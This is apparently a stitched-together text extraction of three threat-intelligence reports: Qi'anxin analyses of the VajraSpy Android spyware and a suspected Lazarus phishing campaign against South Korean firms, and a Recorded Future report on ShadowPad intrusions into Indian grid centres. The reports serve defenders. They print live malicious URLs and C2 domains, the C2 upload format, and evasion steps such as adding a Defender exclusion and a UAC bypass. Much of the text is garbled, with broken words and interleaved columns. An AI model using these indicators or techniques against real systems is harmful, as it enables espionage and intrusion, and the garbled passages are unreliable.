storage file name steal call logs logs.json steal address book contacts.json Steal SMS sms.json Steal 1 5 types of files in the specified directory of the SD card file / filename _ _ _ _ _ Steal notification bar information n o t i / 1 3 -bit timestamp . j s o n Steal device information device.json Steal installed application information _ _ _ appdetails.json Stealing three versions of WhatsApp information _ _ _ _ _ _ _ wa.json/wab.json/wabs.json Table 2 V a j r a S p y R A T main stealing functions _ _ 7/11 Figure 4.1 15 types of files ( text , pictures , audio ) related code snippets stolen _ _ _ _ 5. Attacker portrait _ _ 1 ) The purpose of the attack Attackers targeted Pakistani military , security and police personnel , including border guards ( FC ) , special forces ( SSG ) , federal investigators _ _ _ _ _ _ Bureau ( FIA ) and Police ( P _ _o l ic e ) and so on . Among them , the border guards are the main target . 8/11 There are also a small number of activities targeting Nepalese military personnel . It can be seen from this that military personnel and military secrets are thethe main purpose of the activity . 2 ) Attack method Attackers are good at using social induced delivery and SMS induced delivery to attack , among which social induced delivery is the main method . 3 ) Network assets The mobile phone numbers used by the attackers are all exclusive numbers of mobile service providers in a country in South Asia . 4 ) Native language features The attackers used a large number of languages from a South Asian country in their attacks . The country has a longstanding military and geopolitical conflict with Pakistan . _ _ 5 ) Association with other APT organizations _ _ _ The activity characteristics of the malicious sample download server are similar to those of the belly worm ( Donot ) . _ _ _ Some of the filenames used in the attack have certain similarities to the bellyworm tissue . _ _ To sum up , the King Kong Elephant Organization should be a senior executive with a government background in a South Asian country who mainly launched cyber attacks against Pakistani military personnel and military activities . attack group , is an active _New APT organization in South Asia . _ _ _ 6. Summary and Recommendations _ In traditional APT activities , the use of mobile social platforms is not common . _ _ This is because most of the sensitive and confidential information is stored on the computer , and on the other hand , it is also caused byBecause of launching attacks through social platforms , it is easy to leave traces . However , in the past two years , with the increasing popularity of mobile social platforms , we have found that many A P T activities targeting developing countries will be more or less Via mobile platforms , social platformsto proceed . For example , the Nuo Chong Lion Organization , the Blade Eagle Organization and the Diamond Elephant Organization disclosed this time all target the An d r oi d platform and _ _ _ _ _ network of social platformsattack activity . The analysis believes that the reasons for the increasing attention of APT activities on mobile platforms and social platforms mainly include the following aspects : First of all, the level of network security construction and management in many developing countries is relatively backward , so that it is possible to gain access to smartphones only through attacks on smartphones . large amounts of sensitive and confidential information. Second , the popularity of smartphones is getting higher and higher . It is a low-cost , high -cost way to launch cyber attacks through social platforms against secret -related personnel with insufficient security awareness . Efficient attack . _ _ Third , smartphones often have more unfixed security vulnerabilities , and the penetration rate of mobile security software is not high , which leads to the launch of network targeting mobile platforms . The technical threshold of attack is relatively lower. Then , for government and enterprise institutions , especially the military , police and other secret or sensitive institutions , how should they do a good job in protection , and try to avoid or reduce the targeting of immigrants as much as possible ? App for mobile platforms and social platforms _What is the impact of T activities on yourself ? Here we give some practical suggestions as follows . 1 ) Work and life are separated , and sensitive information is not shared Agencies should strive to avoid staff using personal smartphones for routine office activities . _ _ Conditional units can distribute work mobile phones or confidential mobile phones to staff . _ _ If the conditions are trueIt is not allowed . You can use enterprise level secure mobile work platforms for internal communication and office work , such as Lanxin and cloud mobile phone security management systems . 2 ) Strengthen safety awareness education and strictly implement safety regulations Relevant institutions should strengthen employee security awareness education , do not use personal mobile phones to shoot , store sensitive or confidential information , and do not share sensitive or confidential information through social platforms information ; t click on strangers postsUnknown links come ; reject the temptation of illegal information such as pornography and gambling . At the same time , relevant agencies should also formulate practical cybersecurity management standards and employee code of conduct , and carry out strictSupervision and review . 3 ) Update software system , use security software Relevant institutions should require employees , whether it is an office mobile phone or a personal mobile phone , to update the operating system and core software in a timely manner to ensure that the smart phone starts to work . Always in the best safe condition . sameInstall the necessary mobile phone security software at any time to reduce the damage of various Trojan horses and viruses as much as possible . 4 ) Establish threat intelligence capabilities to prevent APT attacks _ _ 9/11 Relevant institutions should work with professional security vendors to build efficient threat information collection , analysis and disposal capabilities , and timely detect , intercept and track various APT activities . _ move , bring APT activities to the _ _Impact and losses are minimized . At present , a full line of products based on Qi'anxin 's self - developed Owl engine and Qi'anxin Threat Intelligence Center 's threat intelligence data , including Qi'anxin 's threat intelligence platform ( TIP ) , Tianqing , Tianji _ _ _, Sky Eye Advanced Threat Detection System , Qi An Xin N G SOC , Qi An Xin Situational Awareness , etc. , have all supported the accurate detection of such attacks . Part IOC _ _ Domain name / IP Purpose appplace.shop payload server appz.live payload server apzshare.club payload server appzshare.digital payload server appzshare.club payload server 212.24.100.197 payload server AndroidMD5 package name 7a47d859d5ee71934018433e3ab7ed5b c o m . cr . c ha t _ _ 0c980f475766f3a57f35d19f44b07666 com.crazy.talk Appendix 1 Qi Anxin Virus Response Center Qi'anxin Virus Response Center is a virus identification and response professional team under Beijing Qi'anxin Technology Co., Ltd. ( Qianxin Group ) , backed by the core of Qi'anxin Cloud platform , with daily tens of millionsSample detection and disposal capabilities , daily 100 million -level safety data correlation analysis capabilities . Combining years of anti- virus core security technology and operational experience , based on the Q O W L and Q D E independently developed by the group( artificial intelligence ) engine , forming cross- platform Trojan virus and vulnerability detection and repair capabilities , and has powerful big data analysis and realization of full platform security . Full protection and early warning capabilities . Qi'anxin Virus Response Center is responsible for supporting the virus detection of Qi'anxin 's entire line of security products , actively responding to security feedback from customers , and can provide customers with the first time Eliminate intractable diseases . _ Center ZengHe has dealt with major virus incidents many times and participated in the security work of major events , which has been highly recognized by customers , which has enhanced Qi Anxin 's brand influence in the industry . Appendix 2 Qi'anxin Virus Response Center Mobile Security Team _ The mobile security team of Qi'anxin Virus Response Center has been committed to the research in the field of mobile security and Android security ecology . At present , Qi Anxin 's mobile security products can not only detect and kill commonIt can also accurately detect and kill popular software such as brushing , fraud , gambling , violations , pornography and other black products . _ _ _ _ _ It can effectively support traceability through its internal analysis systemAnalysis and other tracking . Through its highvalue mobile attack discovery process , it has captured a number of attack events , released a number of mobile black industry reports , and disclosed multiple A P T groups . weaving activities , _Two years ago , new APT organizations under the background of 4 10/11 countries have been disclosed for the first time ( Nuo Chong Lion Organization Si l en c e r L ion , Blade Eagle Organization B l a d e H aw k , Aiye Leopard Organization S _no w L e o par d and this time the Vajra Eleph ) . _ _ _ _ _ _ _ _ _ _ _ _ _ In the future , we will continue to be at the forefront of global mobile security research , tracking and analyzing the first timeThe latest mobile security incidents , in -depth exploration and tracking of domestic mobile - related black and gray products , are striving to maintain the network security on the mobile terminal . Appendix 3 Introduction of Qi'anxin Mobile Products Qi'anxin Mobile Terminal Security Management System ( Tianji ) is aimed at customers in public security , justice , government , finance , operators , energy , manufacturing and other industries . Terminal control and strong terminal security features _A unique mobile terminal security management product . The product is based on Qi Anxin 's security technology accumulation and operation experience on massive mobile terminals , from hardware , OS , application , data to link and other multi levelSecurity protection solutions to ensure the security of enterprise data and applications in mobile terminals . Qi'anxin Mobile Situational Awareness System is a mobile situational awareness management product jointly launched by Qi'anxin Security Supervision BG Situational Awareness First Division and its partner Qi'anxin Virus Response Center Mobile Team. Different from traditional mobile security vendors, which focus on APP production and release, and provide customers with APP reinforcement, detection, analysis, etc.; mobile situational awareness is oriented to customers with regulatory responsibilities, focusing more on APP download and use, and find out the scope of the jurisdiction. The use of APP provides customers with functions such as APP illegal detection, compliance analysis, and traceability. 11/11 Snow Abuse: Analysis of the Suspected Lazarus Attack Activities against South Korean Companies Original red raindrops team qianxin threat intelligence center 2022-04-11 00:27 included in the collection 8 #APT 59 #Lazarus 4 overview Spear phishing attacks have long been one of the most convenient ways to get into an enterprise network . Spear phishing attacks are often used against large corporations, banks, or influencers, and most commonly target high-level employees who have access to rich information, or employees in departments that need to open a lot of foreign documents at work . Generally speaking, attack files are macro code written in Microsoft Word or JavaScript code, which are ver y small, have no superfluous programs built into the files, and whose sole purpose is to download more destructive malware on the target object's computer. Once downloaded, malware spreads further through the targeted network or is only used to steal all available information, helping attackers find targets in the network . recently, the red raindrop team of the qianxin threat intelligence center has captured a large number of spear phishing attack samples against south korean companies in the daily threat hunt. it is infected through a vulnerable document or chm file, and distinguishes the number of bits of the current operating system, and executes macro code corresponding to the number of bits of the system to achieve the best attack effect. after research, the characteristics of this attack are as follows: 1. THE INITIAL INFECTED DOCUMENTS ARE DOWNLOADED FOR SUBSEQUENT EXECUTION USING CVE-2017-0199 REMOTE CODE EXECUTION VULNERABILITY; 2. The subsequent attack uses the UAC Bypass technology of the local RPC interface to elevate the privilege; 3. subsequent load packing interference analysis and use simple means to detect whether it is in the sandbox; sample analysis 0x01 decoy file The attack sample captured this time is a docx file, all of which use the Microsoft Office/WordPad remote code execution vulnerability, its vulnerability number is CVE2017-0199, and the decoy analysis of the related samples is as follows: the bait file induces the victim to click "enable content" in a number of ways. for example, .docx (emergency disaster assistance request form) induces users to click on enable content by displaying garbled file content. The bait file ) .docx (Daehan Mine Development Shares) shows that the document was produced by Windows 11, inducing the victim to click on the enabled content. or fake microsoft's error message, the same purpose is to induce users to click to enable content. 0x02 malicious macro Here, take .docx (notification) as an example, click on the execution bait fil e, access the remote template http://VM2rJOnQ.naveicoipg.online/ACMS/0hUxr3Lx/p olice0?mid=h1o5cYfJ download execution, and the file downloaded and executed is a s follows. The macro code embedded in the file first downloads the attached payload (32Bit/64Bit) from the outside: mount page for payload: the payload is then decr ypted and injected into the winword .exe process. 0x03 injected code the injected code is first anti-sandboxed in the main function. At the same time, it will detect whether the currently running process contains v3l 4sp .exe, and if so, exit the program. v3l4sp .exe a subroutine of south Korean AhnLa b's free antivirus software V3 Lite, indicating that the target of this attack is not for in dividual users in South Korea. Subsequently, the error .log is released in the %AppData%Local\Microsoft\TokenB roker director y, and "s/o2ldz9l95itdj2e/error.txt?dl=0", and the Release RuntimeBroke r .exe is decr ypted in the same director y. The UAC Bypass technology of the native RPC interface is then used to perform the RuntimeBroker .exe. finally, it is persisted through the registr y startup key. 0x04 RuntimeBroker.exe RuntimeBroker .exe interfered with the researchers' analysis by adding a UPX shel l, and after dehulling, it was found that it also detected the sandbox in the main func tion, and also detected whether the currently running process contained v3l4sp.exe a nd AYAgent.aye. AYAgent.aye is part of ALYac, south Korea's Internet security suite, es tsoft. Verify whether the currently running program path is a RuntimeBroker .exe in the %AppData%Local\Microsoft\TokenBroker director y, or delete itself if it is not, which is to evade dynamic detection of the sandbox. It is then added to windows Defender's exclusion list using the PowerShell command. Read the contents of the released error .log file and stitch it together with the URL dl.dropboxusercontent.com of the cloud ser ver Dropbox, so that it acts as an intermediar y to pass the C2 information. The user information is then uploaded to the hxxp://naveicoipg.online/post2.php in the specified format "uid=%s&avtype=%d&avtype=%d&major v=%d", where the va lue of avtype is 1 when no soft kill is specified, 2 when v3l4sp .exe is present, and 3 w hen AYAgent.aye is present. Subsequent visits naveicoipg.online's "/fecommand.acm" page to get the payload, where uid is the victim ID of the previous callback C2. the obtained instruction content calls the function sub_401410 executed, and the malware maintains an array of structs of size 100 to record the executed instructions. If the instruction has not been executed before, the calling function sub_401280 download the corresponding subsequent payload from C2, download the subsequent URL format is "/< instruction name >", and the obtained content will be executed as a PE file. unfortunately, subsequent content is not available as of the time of analysis. traceability and correlation By searching the database for the keyword "fecommand.acm", we discovered another way to spread attack samples, distributed by using CHM files. The retrieved chmext .exe malicious program whose parent file is a CHM file. the short link in the bait chm file was redirected to the actual website of the korean centers for disease control and prevention, which echoed the bait file name, making it easier for the victim to get caught. After comparison, the chmext .exe is basically the same as the above injected cod e, only C2 is different, chmext .exe C2 is naveicoipc.tech. IN THE PROCESS OF CONTINUING TO TRACE THE SOURCE, WE ALSO FOUND PHISHING EMAILS THAT IMPERSONATED THE KOREAN INTERNET INFORMATION CENTER. COMBINED WITH VARIOUS INDICATIONS, WE SUSPECT THAT THIS ATTACK IS FROM THE HANDS OF THE APT ORGANIZATION, ITS ATTACK TARGET IS NOT AN INDIVIDUAL ORDINARY USER, ATTACK METHODS COMPLEX CHANGEABLE, ITS FOLLOW-UP REAL PAYLOAD IS RELATIVELY HIDDEN, AND THE NUMBER OF ATTACK SAMPLES IS LARGE, AND WE HAVE CAPTURED A LARGE NUMBER OF ATTACK SAMPLES IN A SHORT PERIOD OF TIME. Combing through the APT organization targeting South Korea, we found that this attack is suspected to be from the APT organization Lazarus, as early as a few years a go, the Lazarus organization was good at using the cloud ser ver Dropbox to carr y out the attack , followed by the Februar y malwarebytes labs disclosed Lazarus's report [1] , Lazarus also created the RuntimeBroker process in the attack process. Coincidentally, in the process of tracing the origin of C2, we found that as early a s March 25, the foreign security company Rewterz made an early warning of the navei coipc.tech domain name [2] , and the URL link in its warning was basically consistent w ith the sample link we captured earlier. summary as of the end of the draft, there are still new attack samples being discovered, whi ch is worth our vigilance! PHISHING EMAILS HAVE ALWAYS BEEN ONE OF THE IMPORTANT MEANS OF ATTA CKS BY APT ORGANIZATIONS, AND MOST USERS ARE NOT SECURITY-CONSCIOUS AN D ARE EASILY CONFUSED BY SPOOFED EMAILS, DISGUISED DOCUMENTS, AND DECEP TIVE HEADERS. THE QIANXIN RED RAINDROP TEAM REMINDS USERS TO BEWARE OF PHISHING ATTACKS, NEVER OPEN LINKS OF UNKNOWN ORIGIN SHARED ON SOCIAL MEDIA , DO NOT CLICK ON EMAIL ATTACHMENTS THAT EXECUTE UNKNOWN SOURCE S, DO NOT RUN UNKNOWN FILES WITH EXAGGERATED TITLES, AND DO NOT INSTALL APPS FROM IRREGULAR SOURCES. BACK UP IMPORTANT FILES IN A TIMELY MANNER, UPDATE AND INSTALL PATCHES. If you need to run, install an application of unknown origin, you can first use the Qianxin Threat Intelligence File Deep Analysis Platform (https://sandbox.ti.qianxin.co m/sandbox/page) to identify. At present, it supports in-depth analysis of files in vario us formats, including Windows and Android platforms [3]. AT PRESENT, THE FULL RANGE OF THREAT INTELLIGENCE DATA BASED ON THE QI ANXIN THREAT INTELLIGENCE CENTER, INCLUDING THE QIANXIN THREAT INTELLIGEN CE PLATFORM (TIP), TIANQING, TIANYAN ADVANCED THREAT DETECTION SYSTEM, QI ANXIN NGSOC, ANDRXIN SITUATIONAL AWARENESS, ETC., HAVE SUPPORTED THE AC CURATE DETECTION OF SUCH ATTACKS. IOCs 44BE20C67A80AF8066F9401C5BEE43CB 65ABAD905E80F8BC0A48E67C62E40119 1FD8FEF169BF48CFDCF506151264128C 7B07CD6BB6B5D4ED6A2892A738FE892B 9AD00E513364E9F44F1B6712907CBA9B 15A7125FE9E629122E1D1389062AF712 749CCB545B74B8EB9DFF57FCB6A07020 1769A818548A0B52C7BE2A0A213A9384 9775EF6514916977D73E39A6B09029BC 210DB61D1B11C1D233FD8A0645946074 B587851D8A42FC8C23F638BBC2EB866B BDFB5071F5374F5C0A3714464B1FA5E6 C0B24DC8F53227CE0C64439B302CA930 619649CE3FC1682C702D9159E778F8FD D19DD02CF375D0D03F557556D5207061 D47F7FCBE46369C70147A214C8189F8A E3FFDA448DF223B240A20DAE41E20CEF 825730D9DD22DBAE7F2BD89131466415 4382384FEB5AD6B574F68E431006905E AAD5A9F3BE23D327B9122A7F7E102443 556ABC167348FE96ABFBF5079C3AD488 http://VM2rJOnQ.naveicoipg.online/ACMS/0hUxr3Lx/police0?mid=h1o5cYfJ http://twlekqnwl.naveicoipg.online/ACMS/0y0fMbUp/supportTemplate7? cid=yypwjelnblw http://olsnvolqwe.naveicoipg.online/ACMS/0y0fMbUp/supportTemplate5? cid=pqwnlqwjqg http://vnwoei.naveicoipg.online/ACMS/0s4AtPuk/wwwTemplate?cid=nnwoieopq http://jvnquetbon.naveicoipg.online/ACMS/0pxCtBMz/policeTemplate1? mid=ksndoqiweyp http://AOsM8Cts.naveicoipg.online/ACMS/0ucLxIjP/toyotaTemplate8?tid=CN2xsRPI http://ADzJvazJ.naveicoipg.online/ACMS/0ucLxIjP/toyotaTemplate1?tid=2uiSmhx2 http://CEcOMTp3.naveicoipg.online/ACMS/0o0WQher/ttt3?qwe=v0OSWog5 http://123fisd.naveicoipg.online/ACMS/0mFCUrPf/temp04060?ttuq=qcnvoiek http://naveicoipc.tech/ACMS/0Mogk1Cs/topAccounts?uid=3490blxl http://1xJOiKZd.naveicoipa.tech/ACMS/Cjtpp17D/Cjtpp17D64.acm http:// uzzmuqwv.naveicoipc.tech/ACMS/1uFnvppj/1uFnvppj32.acm http://naveicoipd.tech/ACMS/018ueCdS/blockchainTemplate http://bcvbert.naveicoipe.tech/ACMS/01AweT9Z/01AweT9Z64.acm http://xjowihgnxcvb.naveicoipf.online/ACMS/07RRwr wK/07RRwr wK64.acm reference links [1]. https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarusapt-leverages-windows-update-client-github-in-latest-campaign/ [2]. https://www.rewterz.com/rewterz-news/rewterz-threat-alert-lazarus-apt-group-io cs-6 [3]. https://ti.qianxin.com/portal Click to read the original ar ticle to ALPHA 5.0 instantly assist in threat research Included in the collection #APT 59 previous Lazarus Arsenal Update: Andariel Recent Attack Sample Analysis next analysis of the recent attack activities of the "blind eagle" in forging judicial bans Modified on 2022-04-11 Read more People who liked this content also liked the mysterious hacking organization that hacked microsoft, samsung, and nvidia was exposed, and behind it was a 16-year-old british teenager who... big data digest Facebook blocks cyberattacks against Ukraine by Russia and Belarus; Ubuntu developers terminate russian operations 21CTO THREAT ANALYSIS By Insikt Group CHINA Continued Targeting of Indian Power Grid Assets by Chinese State-Sponsored Activity Group April 6, 2022 THREAT ANALYSIS | CHINA Despite a partial troop disengagement between India and China from February 2021, the prolonged targeting of Indian critical infrastructure continues to raise concerns over prepositioning activity being conducted by Chinese adversaries. While this latest activity displays targeting and capability consistencies with previously identified RedEcho activity, there are also some notable distinctions. At this time, we have not identified technical evidence allowing us to attribute it to RedEcho, and we are currently clustering this latest activity under the temporary group name Threat Activity Group 38 (TAGThis report details a campaign conducted by a likely Chinese state-sponsored 38) 1. threat activity group targeting the Indian power sector. The activity was identified through a combination of large-scale automated network traffic analytics and expert analysis. Data sources include the Recorded Future Platform, SecurityTrails, PolySwarm, Team Cymru s Pure Signal , and common open-source tools and techniques. The report will be of most interest to individuals engaged in strategic and operational intelligence relating to Indian and Chinese cyber activity. Recorded Future notified the appropriate Indian government departments prior to publication of the suspected intrusions to support incident response and remediation investigations within affected organizations. With thanks to our colleagues at Dragos for early sharing and collaboration. Executive Summary In February 2021, Recorded Future s Insikt Group reported on intrusion activity targeting operational assets within India power grid that we attributed to a likely Chinese state-sponsored threat activity group we track as RedEcho. Following a short lull after the publication of our RedEcho reporting, we have detected ongoing targeting of Indian power grid organizations by Chinalinked adversaries, frequently using the privately shared modular backdoor ShadowPad. ShadowPad continues to be employed by an ever-increasing number of People s Liberation Army (PLA) and Ministry of State Security (MSS)-linked groups, with its origins linked to known MSS contractors first using the tool in their own operations and later likely acting as a digital quartermaster. Key Judgments Given the continued targeting of State and Regional Load Despatch Centres in India over the past 18 months, first from RedEcho and now in this latest TAG-38 activity, this targeting is likely a long-term strategic priority for select Chinese state-sponsored threat actors active within India. The prolonged targeting of Indian power grid assets by Chinese state-linked groups offers limited economic espionage or traditional intelligence-gathering opportunities. We believe this targeting is instead likely intended to enable information gathering surrounding critical infrastructure systems or is pre-positioning for future activity. The objective for intrusions may include gaining an increased understanding into these complex systems in order to facilitate capability development for future use or gaining sufficient access across the system in preparation for future contingency operations. In recent months, we observed likely network intrusions targeting at least 7 Indian State Load Despatch Centres (SLDCs) responsible for carrying out real-time operations for grid control and electricity dispatch within these respective states. Notably, this targeting has been geographically concentrated, with the identified SLDCs located in North India, in proximity to the disputed India-China border in Ladakh. One of these SLDCs was also targeted in previous RedEcho activity. This latest set of intrusions, however, is composed of an almost entirely different set of victim organizations. In addition to the targeting of power grid assets, we also identified the compromise of a national emergency response system and the Indian subsidiary of a multinational logistics company by the same threat activity group. To achieve this, the group likely compromised and co- 1 Typically, Insikt Group publicly names a new threat activity group or campaign, opted internet-facing DVR/IP camera devices for command and such as RedFoxtrot, when analysts have data corresponding to at least 3 points on the Diamond Model of Intrusion Analysis with at least medium confidence. We will control (C2) of Shadowpad malware infections, as well as use of occasionally report on significant activity using a temporary activity clustering name the open source tool FastReverseProxy (FRP). such as TAG-38, where the activity is new and significant but doesn t map to existing groupings and hasn t yet graduated or merged into an established activity group. TA-CN-2022-0406 Recorded Future | www.recordedfuture.com THREAT ANALYSIS | CHINA Figure 1: High-level TAG-38 TTPs and Recorded Future data sourcing graphic (Source: Recorded Future) www.recordedfuture.com | Recorded Future TA-CN-2022-0406 THREAT ANALYSIS | CHINA Figure 2: Timeline of Insikt research on Chinese state-sponsored groups targeting India versus geopolitical events (Source: Recorded Future) Background Our February 2021 RedEcho repor t highlighted the compromise of 10 distinct Indian power sector organizations, India continues to be a major target of Chinese cyber including 4 of the 5 of the country s Regional Load Despatch espionage activity, as detailed in historical Recorded Future Centres (RLDC), 2 ports, a large generation operator, and other reporting on RedDelta, RedEcho, RedFoxtrot, TAG-28, and operational assets. These assets offer minimal value as economic additional client-facing research. Although tensions reduced, espionage or other traditional intelligence targets, which led aided by partial troop disengagement, in February 2021 following us to assess a likely goal of pre-positioning network access to prolonged border stand-offs in the Ladakh region, there has support Chinese strategic objectives. Following that February been limited progress between the states regarding respective 2021 report, we observed the group abandon the operational territorial claims. infrastructure highlighted and shift its infrastructure modus operandi. Despite this, evidence of targeting of Indian power assets and organizations with links to critical infrastructure from Chinese state-sponsored actors continued. This included the targeting of an Indian managed service provider (MSP) and operational technology (OT) vendor using ShadowPad, which aligns with activity described in recent Dragos reporting. We attribute this particular activity to a separate activity group we track as Threat Activity Group 26 (TAG-26). We have observed TAG-26 targeting multiple high-value organizations in India using ShadowPad, Poison Ivy, and the RoyalRoad RTF weaponizer. The use of ShadowPad across Chinese activity groups continues to grow over time, with new clusters of activity regularly identified using the backdoor as well as continued adoption by previously tracked clusters. At this time, we track at least 10 distinct activity groups with access to ShadowPad, which is assessed to have likely been originally developed and used by MSS-linked contractors linked to the APT41 (BARIUM) intrusion set. TA-CN-2022-0406 Recorded Future | www.recordedfuture.com THREAT ANALYSIS | CHINA Figure 3: Timeline of TAG-38 C2 infrastructure detection and network traffic analysis (NTA) exfiltration events (Source: Recorded Future) Threat Analysis Since at least September 2021, we have observed TAG38 intrusions targeting the identified victim organizations. The group has employed probable compromised infrastructure for command and control of ShadowPad implants used to target the identified networks, as well as using the open source tool Fast Reverse Proxy (FRP). Figure 3 highlights ongoing TAG-38 C2 detection and network traffic analysis exfiltration events from victim networks within the Recorded Future platform between September 2021 and March 2022. Targeting of Indian Power Sector The identified victimology within this latest campaign is confined to Indian targets, specifically at least 7 SLDCs, the Indian subsidiary of a multinational logistics company, and a national emergency response system. As shown in Figure 4, the identified SLDCs were all located in Northern India, in proximity to the disputed China-India border in Ladakh. SLDCs are responsible for carrying out real-time operations for grid control and electricity dispatch within these respective states, similar to the Regional Load Despatch Centres (RLDCs) previously targeted in reported RedEcho activity. This makes these organizations critical for maintaining grid frequency and stability, with SLDCs maintaining access to supervisory control and data acquisition (SCADA) systems present across respective states for the purpose of grid control and electricity dispatch. At this time, we have not observed evidence of access to industrial control system (ICS) environments in this activity. www.recordedfuture.com | Recorded Future TA-CN-2022-0406 THREAT ANALYSIS | CHINA Figure 4: Map of TAG-38 victim State Load Despatch Centre (SLDC) locations. Previously reported RedEcho victim locations also displayed in gray (Source: Recorded Future) TAG-38 Infrastructure Clustering Using a combination of proactive infrastructure detection techniques and network traffic analysis, we uncovered a cluster of C2 infrastructure engaged in this prolonged targeting of Indian critical infrastructure over several months. Based on our analysis, the adversary infrastructure cluster identified consists entirely of likely compromised internet-facing, third-party DVR/ IP camera devices. The compromise of often poorly secured internet-of-things (IOT) devices such as IP cameras for use in follow-on intrusion activity has previously been seen for threats ranging from Mirai-based botnets (1,2) to the Chinese statesponsored threat activity group RedBravo (APT31/ZIRCONIUM). At this time, we have not determined the means in which these devices were originally compromised, which may include the use of default credentials. Using a series of analytical techniques and heuristics, we were able to cluster a network of these C2 IPs together, all of which matched all or most of the following criteria: Victim infrastructure observed communicating to all of the identified C2 servers consisted solely of the same overlapping Indian power grid victims, logistics company, and Indian emergency response system. All C2 servers were likely compromised DVR/IP camera devices and were primarily geolocated in Taiwan or South Korea. Likely compromised devices were observed with the default open ports 80/554/9090 associated with the compromised device, as well as an additional actor-controlled port(s) opened for malware C2 communications. A large proportion were confirmed as ShadowPad C2 servers using Recorded Future C2 detection methodologies, a technique previously used in historical Insikt Group reporting on RedEcho and other Chinese state-sponsored activity groups (1,2,3). A large proportion of the identified C2s had the open source tool Fast Reverse Proxy (FRP) server component configured on port 8443. FRP can read predefined configurations and allows you to expose local services that are hidden behind the NAT or a firewall to the internet. This tool has been abused by numerous statesponsored groups, including the Iran-linked group Phosphorus and several Chinese actors (1,2). A large proportion of the identified C2s shared a unique SSL certificate spoofing Microsoft on port 443 (SHA1 fingerprint: 0f6afc6e4e383883a6308fcf8d84b14a5bf4ccaf). This certificate has multiple links to wider Chinese statesponsored cyber espionage activity and is discussed in further detail below. TA-CN-2022-0406 Recorded Future | www.recordedfuture.com THREAT ANALYSIS | CHINA ShadowPad C2 IP Address First Seen 14.43.108[.]22 AS4766 Aug 27, 2021 210.123.140[.]200 AS45361 Sep 15, 2021 112.171.218[.]39 AS4766 Jan 12, 2022 114.35.191[.]224 AS3462 Jan 12, 2022 59.10.140[.]47 AS4766 Jan 13, 2022 121.151.212[.]101 AS4766 Oct 18, 2021 119.200.211[.]197 AS4766 Feb 8, 2022 124.216.159[.]70 AS4766 Feb 23, 2022 211.184.160[.]108 AS4766 Feb 28, 2022 The use of a shared SSL certificate (SHA1 fingerprint 0f6afc6e4e383883a6308fcf8d84b14a5bf4ccaf) exhibited on several TAG-38 servers was also notable. This SSL certificate was also identified historically on a few dozen other servers with links to Chinese cyber espionage activity. For example, one of the IP addresses historically exhibiting this certificate, 185.243.41[.]240, concurrently hosted several domains attributed to the group we track as TAG-26 referenced earlier in this report (including supership.dynv6[.]net, supermarket.ownip[.]net, and greatsong.soundcast[.]me). At this time, we believe it is unlikely that the use of this certificate is exclusive to a single activity group. This is based on wider context such as differing targeting patterns, infrastructure TTPs, and capability use linked to the infrastructure historically sighted exhibiting this certificate, which may instead be indicative of a shared capability. Table 1: Sample list of ShadowPad C2 servers linked to TAG-38 targeting of Indian power sector and additional victims Subject: CN=www.microsoft.com Overlaps With Other China-Nexus Threat Activity Issuer: CN=www.microsoft.com While investigating the TAG-38 intrusion activity, we uncovered multiple links to other suspected Chinese statesponsored activity. Of note, the targeting and use of ShadowPad is consistent with previously reported RedEcho activity, and this latest activity also includes a repeated SLDC victim. However, there were distinct differences in the infrastructure TTPs used in this latest campaign, and at this time we have not identified sufficient technical evidence tying these 2 activity groups together beyond the common targeting sets and capability use. Decimal: -3057430298263606566302079470361224100 Hex: 0xfdb3290c46b41fb24a0fefd16e565c5c Validity: 2021-06-07 14:29:51 to 2039-12-31 23:59:59 Names: www.microsoft.com SHA-256: B63e14d24e0893f85e80b4b94ad0bd800d6e105 70dc93ec56bbe75cd665385b0 SHA-1: 0f6afc6e4e383883a6308fcf8d84b14a5bf4ccaf MD5: d06cc3e6f5673b2e9bfdac55944109a5 Figure 6: Shared SSL certificate linked to TAG-38 and wider Chinese cyber espionage activity Figure 5: Maltego chart of TAG-38 infrastructure clustering www.recordedfuture.com | Recorded Future TA-CN-2022-0406 THREAT ANALYSIS | CHINA Mitigations Outlook We recommend that users conduct the following measures Recorded Future continues to track Chinese state-sponsored to detect and mitigate activity associated with TAG-38 activity: activity groups targeting a wide variety of sectors globally. A large majority of this conforms to longstanding cyber espionage Configure your intrusion detection systems (IDS), efforts, such as targeting of foreign governments, surveillance intrusion prevention systems (IPS), or any network of dissident and minority groups, and economic espionage. defense mechanisms in place to alert on and upon However, the coordinated effort to target Indian power grid review, consider blocking connection attempts to and assets in recent years is notably distinct from our perspective from the external IP addresses and domains listed in and, given the continued heightened tension and border disputes the appendix. between the two countries, we believe is a cause for concern. Recorded Future proactively detects and logs malicious Based on the complexity present across national critical server configurations in the Command and Control infrastructure systems, this often necessitates lengthy Security Control Feed. The Command and Control list reconnaissance operations to better understand the inner includes tools used by TAG-38 and Chinese stateworkings of these systems, both in a technological and a physical sponsored threat activity groups, such as ShadowPad. sense. This is reflected in publicly documented targeted intrusion Recorded Future clients should alert on and block these activity targeting industrial control system (ICS) networks C2 servers to allow for detection and remediation of historically, which can often span years. At this time, we have active intrusions. not identified evidence of compromise of ICS networks by TAG Monitor for consistent anomalous outbound traffic from 38 operators from our visibility, although we cannot discount your network to unusual servers, such as compromised this possibility. Given the prolonged targeting of both SLDCs DVR/IP camera systems in this case, which may be and RLDCs within India, first from RedEcho and now in this latest indicative of malware beaconing activity. TAG-38 activity, we believe this targeting is a strategic priority Ensure software and firmware associated with IOT for these actors and is likely to continue. devices, such as DVR/IP camera systems, are kept up to date. Always change any default passwords to a strong, complex password and turn on two-factor authentication (2FA) if available. Where possible, avoid exposing these devices directly to the internet. Recorded Future Threat Intelligence, Third-Party Intelligence, and SecOps Intelligence module users can monitor real-time output from network traffic analysis analytics to identify suspected targeted intrusion activity involving your organization or key vendors and partners. TA-CN-2022-0406 Recorded Future | www.recordedfuture.com THREAT ANALYSIS | CHINA Appendix A Indicators Readers can access the indicators listed below in our public Insikt Group Github repository: https://github.com/Insikt-Group/ Research (Continued Targeting of Indian Power Grid Assets by China State-sponsored Activity Group - March 2022). Note: We have observed a portion of the compromised infrastructure listed below indiscriminately scanning the internet outside of the First Seen/Last Seen dates associated with TAG-38 activity. Careful consideration should be given to these dates when analyzing any communications to these network indicators within your environment. The malicious activity described in this report consists of consistent long-term outbound network traffic to these nodes indicative of malware beaconing, not inbound scanning or brute forcing activity. Network Indicator First Seen Last Seen 14.43.108[.]22 Aug 27, 2021 Dec 31, 2021 59.10.140[.]47 Jan 13, 2022 Feb 2, 2022 59.127.10[.]132 Feb 12, 2022 Mar 15, 2022 